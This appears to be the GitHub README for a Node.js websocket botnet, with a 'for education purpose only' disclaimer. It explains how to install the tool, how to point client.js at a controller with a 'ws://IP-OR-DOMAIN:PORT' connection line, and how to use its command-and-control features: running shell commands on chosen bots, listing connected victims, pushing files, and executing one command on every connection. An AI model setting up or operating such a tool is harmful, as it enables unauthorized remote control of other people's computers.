Skip to content

Latest commit

 

History

History
49 lines (31 loc) · 1.29 KB

README.md

File metadata and controls

49 lines (31 loc) · 1.29 KB

Botnet using websocket (Node)

NodeJS Botnet using websocket to interact between clients & server. Use it at your own risks (for education purpose only).

Installation

Use the package manager npm to install some packages (all includes in the package.json). Just launch that :

npm install

Settings (same as reverse-shell-js)

edit the last line of client.js by adding your ip adress or using localhost if both of them are on the same network.

client.connect('ws://IP-OR-DOMAIN:PORT', 'echo-protocol');

editing server.js for the connection port at port variable, line 8 :

let port = 8080;

Usage

$ {id} shell_command

Special commands

  • help : All commands (other of shell commands)

  • list : List all active connections

  • sendfile : Send file to specific client

  • execall : Execute a same command for every connections

Exemple

presentation-botnet

Contributing

Pull requests are welcome. For major changes, please open an issue first to discuss what you would like to change.

Please make sure to update tests as appropriate.

License

GNU AGPLv3